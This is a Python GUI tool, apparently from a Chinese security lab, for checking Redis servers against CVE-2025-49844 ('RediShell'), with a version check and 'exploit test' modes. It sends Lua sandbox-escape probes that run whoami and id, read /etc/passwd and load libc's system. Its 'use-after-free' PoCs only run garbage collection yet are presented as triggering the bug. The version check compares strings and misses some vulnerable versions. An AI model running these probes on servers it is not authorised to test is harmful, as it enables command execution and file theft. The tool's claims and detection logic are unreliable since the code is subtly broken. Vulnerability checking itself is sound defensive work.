#!/usr/bin/env python3
import redis
import sys
import tkinter as tk
from tkinter import ttk, scrolledtext, messagebox
import threading

class RedisVulnCheckerGUI:
    def __init__(self, root):
        self.root = root
        self.root.title("信安西部-明镜高悬实验室 CVE-2025-49844（RediShell）漏洞检查软件（v1.0）-禁止用于未经授权的测试！严格遵守《中华人民共和国网络安全法》")
        self.root.geometry("800x600")
        self.root.resizable(True, True)
        
        # 配置样式
        self.style = ttk.Style()
        self.style.configure("TLabel", font=("微软雅黑", 10))
        self.style.configure("TButton", font=("微软雅黑", 10))
        self.style.configure("Header.TLabel", font=("微软雅黑", 12, "bold"))
        
        self.create_widgets()
        
    def create_widgets(self):
        # 主框架
        main_frame = ttk.Frame(self.root, padding="10")
        main_frame.pack(fill=tk.BOTH, expand=True)
        
        # 标题区域
        header_frame = ttk.Frame(main_frame)
        header_frame.pack(fill=tk.X, pady=(0, 10))
        
        ttk.Label(
            header_frame, 
            text="信安西部-明镜高悬实验室 CVE-2025-49844（RediShell）漏洞检查软件（v1.0）-禁止用于未经授权的测试！严格遵守《中华人民共和国网络安全法》", 
            style="Header.TLabel"
        ).pack(side=tk.LEFT)
        
        # 连接设置框架
        conn_frame = ttk.LabelFrame(main_frame, text="Redis 连接设置", padding="10")
        conn_frame.pack(fill=tk.X, pady=(0, 10))
        
        # 主机
        ttk.Label(conn_frame, text="主机:").grid(row=0, column=0, sticky=tk.W, pady=5, padx=5)
        self.host_entry = ttk.Entry(conn_frame, width=30)
        self.host_entry.grid(row=0, column=1, sticky=tk.W, pady=5)
        self.host_entry.insert(0, "localhost")
        
        # 端口
        ttk.Label(conn_frame, text="端口:").grid(row=0, column=2, sticky=tk.W, pady=5, padx=5)
        self.port_entry = ttk.Entry(conn_frame, width=10)
        self.port_entry.grid(row=0, column=3, sticky=tk.W, pady=5)
        self.port_entry.insert(0, "6379")
        
        # 密码
        ttk.Label(conn_frame, text="密码:").grid(row=1, column=0, sticky=tk.W, pady=5, padx=5)
        self.password_entry = ttk.Entry(conn_frame, width=30, show="*")
        self.password_entry.grid(row=1, column=1, sticky=tk.W, pady=5)
        
        # 按钮框架
        buttons_frame = ttk.Frame(main_frame)
        buttons_frame.pack(fill=tk.X, pady=(0, 10))
        
        self.check_mode = tk.StringVar(value="all")
        
        ttk.Button(buttons_frame, text="测试连接", command=self.test_connection).pack(side=tk.LEFT, padx=5)
        ttk.Button(buttons_frame, text="检查漏洞", command=self.check_vulnerability).pack(side=tk.LEFT, padx=5)
        
        ttk.Label(buttons_frame, text="测试模式:").pack(side=tk.LEFT, padx=(15, 5))
        exploit_mode_frame = ttk.Frame(buttons_frame)
        exploit_mode_frame.pack(side=tk.LEFT)
        
        ttk.Radiobutton(exploit_mode_frame, text="仅检查", variable=self.check_mode, value="check").pack(side=tk.LEFT, padx=2)
        ttk.Radiobutton(exploit_mode_frame, text="基础", variable=self.check_mode, value="basic").pack(side=tk.LEFT, padx=2)
        ttk.Radiobutton(exploit_mode_frame, text="沙箱", variable=self.check_mode, value="sandbox").pack(side=tk.LEFT, padx=2)
        ttk.Radiobutton(exploit_mode_frame, text="高级", variable=self.check_mode, value="advanced").pack(side=tk.LEFT, padx=2)
        ttk.Radiobutton(exploit_mode_frame, text="全部", variable=self.check_mode, value="all").pack(side=tk.LEFT, padx=2)
        
        ttk.Button(buttons_frame, text="运行漏洞测试", command=self.run_exploit_tests).pack(side=tk.RIGHT, padx=5)
        ttk.Button(buttons_frame, text="清空输出", command=self.clear_output).pack(side=tk.RIGHT, padx=5)
        
        # 输出框架
        output_frame = ttk.LabelFrame(main_frame, text="输出", padding="10")
        output_frame.pack(fill=tk.BOTH, expand=True)
        
        self.output_text = scrolledtext.ScrolledText(output_frame, wrap=tk.WORD, width=80, height=20)
        self.output_text.pack(fill=tk.BOTH, expand=True)
        self.output_text.config(state=tk.DISABLED)
        
        # 状态栏
        self.status_var = tk.StringVar(value="就绪")
        status_bar = ttk.Label(self.root, textvariable=self.status_var, relief=tk.SUNKEN, anchor=tk.W)
        status_bar.pack(side=tk.BOTTOM, fill=tk.X)
        
        # 初始化Redis连接
        self.redis_conn = None
        
    def update_output(self, text, color=None):
        """更新输出文本框内容"""
        self.output_text.config(state=tk.NORMAL)
        
        if color:
            self.output_text.insert(tk.END, text, color)
        else:
            self.output_text.insert(tk.END, text)
            
        self.output_text.see(tk.END)
        self.output_text.config(state=tk.DISABLED)
        
    def clear_output(self):
        """清空输出文本框"""
        self.output_text.config(state=tk.NORMAL)
        self.output_text.delete(1.0, tk.END)
        self.output_text.config(state=tk.DISABLED)
        
    def set_status(self, status):
        """更新状态栏"""
        self.status_var.set(status)
        
    def test_connection(self):
        """在单独线程中测试连接"""
        self.set_status("正在测试连接...")
        threading.Thread(target=self._test_connection_thread, daemon=True).start()
        
    def _test_connection_thread(self):
        """实际连接测试（在后台线程运行）"""
        host = self.host_entry.get()
        try:
            port = int(self.port_entry.get())
        except ValueError:
            messagebox.showerror("无效端口", "请输入有效的端口号")
            self.set_status("就绪")
            return
            
        password = self.password_entry.get() or None
        
        self.update_output(f"\n[*] 正在测试连接 {host}:{port}...\n")
        
        try:
            r = redis.Redis(host=host, port=port, password=password, decode_responses=True, socket_timeout=10)
            info = r.info()
            self.redis_conn = r
            
            self.update_output(f"[+] 连接成功!\n", "green")
            self.update_output(f"[i] Redis版本: {info.get('redis_version', '未知')}\n", "blue")
            
            # 检查Lua是否启用
            self.update_output("[*] 正在检查Lua脚本是否启用...\n")
            test_script = "return 'test'"
            result = r.eval(test_script, 0)
            self.update_output("[+] Lua脚本已启用!\n", "green")
            
        except redis.ConnectionError as e:
            self.update_output(f"[-] 连接失败: {e}\n", "red")
            self.redis_conn = None
        except redis.AuthenticationError:
            self.update_output("[-] 认证失败!\n", "red")
            self.redis_conn = None
        except Exception as e:
            self.update_output(f"[-] Lua脚本检查失败: {e}\n", "red")
            self.redis_conn = r  # 即使Lua检查失败也保持连接
            
        self.set_status("就绪")
        
    def check_vulnerability(self):
        """在单独线程中检查漏洞状态"""
        if not self.redis_conn:
            messagebox.showwarning("未连接", "请先建立连接")
            return
            
        self.set_status("正在检查漏洞...")
        threading.Thread(target=self._check_vulnerability_thread, daemon=True).start()
        
    def _check_vulnerability_thread(self):
        """实际漏洞检查（在后台线程运行）"""
        self.update_output("\n[*] 正在检查漏洞状态...\n")
        
        try:
            info = self.redis_conn.info()
            version = info.get('redis_version', '')
            
            self.update_output(f"[i] 检测到Redis版本: {version}\n", "blue")
            
            # 漏洞版本（补丁前）
            vulnerable_versions = [
                ('7.2', '7.2.11'),
                ('7.4', '7.4.6'),
                ('8.0', '8.0.4'),
                ('8.2', '8.2.2'),
            ]
            
            # 简单版本检查
            major_minor = '.'.join(version.split('.')[:2])
            
            is_vulnerable = False
            for vuln_base, patched_version in vulnerable_versions:
                if version.startswith(vuln_base):
                    if version < patched_version:
                        is_vulnerable = True
                        break
            
            if is_vulnerable:
                self.update_output("[!] 存在漏洞: 此版本受CVE-2025-49844影响\n", "red")
                self.update_output("[!] 请立即更新到最新补丁版本!\n", "red")
            else:
                self.update_output("[+] 此版本似乎已打补丁或不受影响\n", "green")
                
        except Exception as e:
            self.update_output(f"[-] 版本检查失败: {e}\n", "red")
            
        self.set_status("就绪")
        
    def run_exploit_tests(self):
        """在单独线程中运行漏洞测试"""
        if not self.redis_conn:
            messagebox.showwarning("未连接", "请先建立连接")
            return
            
        self.set_status("正在运行漏洞测试...")
        threading.Thread(target=self._run_exploit_tests_thread, daemon=True).start()
        
    def _run_exploit_tests_thread(self):
        """实际漏洞测试（在后台线程运行）"""
        mode = self.check_mode.get()
        
        self.update_output(f"\n{'='*60}\n")
        self.update_output(f"[*] 开始{mode}模式测试\n")
        self.update_output(f"{'='*60}\n")
        
        # 先检查漏洞
        self._check_vulnerability_thread()
        
        # 根据模式运行测试
        if mode in ['basic', 'all']:
            self.exploit_uaf_basic()
        
        if mode in ['sandbox', 'all']:
            self.exploit_sandbox_escape()
        
        if mode in ['advanced', 'all']:
            self.exploit_memory_corruption()
        
        self.update_output(f"\n{'='*60}\n")
        self.update_output("[*] 测试完成\n")
        self.update_output(f"{'='*60}\n")
        
        self.update_output("\n免责声明:\n", "red")
        self.update_output("本工具仅用于教育目的。\n")
        self.update_output("请始终将Redis实例更新到最新版本!\n")
        
        self.set_status("就绪")
        
    def exploit_uaf_basic(self):
        """基础UAF触发测试"""
        self.update_output("\n[*] 尝试基础UAF触发...\n")
        
        # 演示漏洞模式的Lua脚本
        lua_script = """
        -- CVE-2025-49844 PoC: Lua解释器中的释放后使用
        local function trigger_uaf()
            -- 创建带元表的表
            local t = {}
            local mt = {
                __gc = function(self)
                    -- 垃圾回收时调用
                    redis.log(redis.LOG_WARNING, "UAF触发点")
                end
            }
            setmetatable(t, mt)
            
            -- 强制多次垃圾回收
            -- 这可能触发释放后使用条件
            for i = 1, 10 do
                collectgarbage("collect")
            end
            
            return "UAF模式执行完毕"
        end
        
        return trigger_uaf()
        """
        
        try:
            result = self.redis_conn.eval(lua_script, 0)
            self.update_output(f"[+] Lua脚本执行: {result}\n", "green")
            self.update_output("[!] UAF模式已触发（简化演示）\n", "yellow")
        except Exception as e:
            self.update_output(f"[-] 漏洞测试失败: {e}\n", "red")
    
    def exploit_sandbox_escape(self):
        """尝试Lua沙箱逃逸"""
        self.update_output("\n[*] 测试Lua沙箱边界...\n")
        
        # 各种沙箱逃逸尝试
        escape_tests = [
            ("os.execute", "return os.execute('whoami')"),
            ("io.popen", "return io.popen('id'):read('*a')"),
            ("loadfile", "return loadfile('/etc/passwd')"),
            ("package.loadlib", "return package.loadlib('libc.so.6', 'system')"),
        ]
        
        for test_name, lua_code in escape_tests:
            self.update_output(f"[*] 测试{test_name}...\n", "blue")
            try:
                result = self.redis_conn.eval(lua_code, 0)
                self.update_output(f"[!] 存在漏洞: {test_name}可访问! 结果: {result}\n", "red")
            except Exception as e:
                self.update_output(f"[+] 受保护: {test_name}已阻止({str(e)[:50]}...)\n", "green")
    
    def exploit_memory_corruption(self):
        """高级内存损坏漏洞测试"""
        self.update_output("\n[*] 尝试内存损坏模式...\n")
        
        lua_script = """
        -- CVE-2025-49844高级UAF模式
        local function create_spray()
            local objects = {}
            -- 堆喷射控制内存布局
            for i = 1, 1000 do
                objects[i] = string.rep("A", 1024)
            end
            return objects
        end
        
        local function trigger_corruption()
            local spray = create_spray()
            
            -- 创建带终结器的对象
            local victim = {}
            local mt = {
                __gc = function(self)
                    -- 释放后使用触发点
                    -- 在实际漏洞利用中，这里会操纵已释放内存
                    redis.log(redis.LOG_WARNING, "终结器调用 - UAF窗口")
                end
            }
            setmetatable(victim, mt)
            
            -- 触发垃圾回收
            victim = nil
            collectgarbage("collect")
            
            -- 在漏洞版本中，此时存在UAF条件
            -- 实际漏洞利用会在此执行任意代码
            
            return "内存损坏模式完成"
        end
        
        return trigger_corruption()
        """
        
        try:
            result = self.redis_conn.eval(lua_script, 0)
            self.update_output(f"[+] 内存损坏模式执行: {result}\n", "green")
            self.update_output("[!] 在漏洞版本中，这可能导致远程代码执行!\n", "red")
        except Exception as e:
            self.update_output(f"[-] 模式执行失败: {e}\n", "red")

def main():
    root = tk.Tk()
    
    # 配置字体
    root.option_add("*Font", "微软雅黑 10")
    
    app = RedisVulnCheckerGUI(root)
    
    # 定义输出颜色标签
    app.output_text.tag_configure("red", foreground="red")
    app.output_text.tag_configure("green", foreground="green")
    app.output_text.tag_configure("blue", foreground="blue")
    app.output_text.tag_configure("yellow", foreground="#FFA500")
    
    # 添加横幅
    banner = """信安西部-明镜高悬实验室 CVE-2025-49844（RediShell）漏洞检查软件（v1.0）\n禁止用于未经授权的测试！严格遵守《中华人民共和国网络安全法》！"""
    app.update_output(banner)
    
    root.mainloop()

if __name__ == '__main__':
    main()
